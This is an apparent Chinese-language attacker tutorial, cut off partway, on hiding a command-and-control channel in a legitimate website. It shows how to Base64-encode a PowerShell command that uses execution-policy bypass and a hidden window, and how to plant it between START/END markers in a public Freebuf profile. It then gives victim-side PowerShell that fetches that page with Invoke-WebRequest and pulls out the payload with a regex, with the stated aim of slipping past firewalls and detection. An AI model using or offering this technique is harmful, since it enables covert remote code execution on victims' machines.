使用合法网站制作C2

简介 对于攻击者而言，隐藏自己的C2是重中之重，以往都是使用合法的应用API创建自己的C2，不过我们也可以将payload托管在合法的网站上，这样在受害者主机上的通信可能会绕过防火墙。 该方法最早提出者已经无法溯源了，偶然看到null-byte网站提了一嘴，不过并没有将其用作C2，而是将其用作下载文件，C2是笔者在N年前研究的方法，可能对于现在的网络环境还能有点用。 构造Payload 以Freebuf为例，我们首先构造一条PowerShell命令： powershell -ep bypass /w 1 /C New-Item -ItemType file 'C:Users\$env:USERNAMEDocumentsthatgood' 该条PowerShell语句会使用-ep选项绕过策略，并使用/w选项隐藏窗口，使用New-Item创建一个位于用户文档下的文件。 然后我们最好将该条PowerShell语句进行Base64编码，防止检测到特殊字符： printf '%s' "powershell -ep bypass /w 1 /C New-Item -ItemType file 'C:Users\$env:USERNAMEDocumentsthatgood'" | base64 | tr -d 'n' cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC93IDEgL0MgTmV3LUl0ZW0gLUl0ZW1UeXBlIGZpbGUgJ0M6XFVzZXJzXCRlbnY6VVNFUk5BTUVcRG9jdW1lbnRzXHRoYXRnb29kJw== 最好复制一下Base64编码字符串来验证一下。 然后我们将该串Base64字符串修改到Freebuf能公开访问的页面，比如用户公开的简介中，然后用START和END包裹，用来匹配该条payload。 使用无痕模式查看是否能公开查看，以及是否能显示所有字符串。 然后我们通过在受害者主机执行PowerShell语句即可执行新建文件的操作： $wro = iwr -Uri https://www.freebuf.com/author/Snow%E7%8B%BC%E5%95%8A -UseBasicParsing; //使用Invoke-WebRequest获取指定网页并基本解析 $r = [Regex]::new("(?<=START)(.*)(?=END)"); //使用正则表达式匹配payload $m = $r.Match($wro.rawcontent); //将匹配到的payload定义一个变量…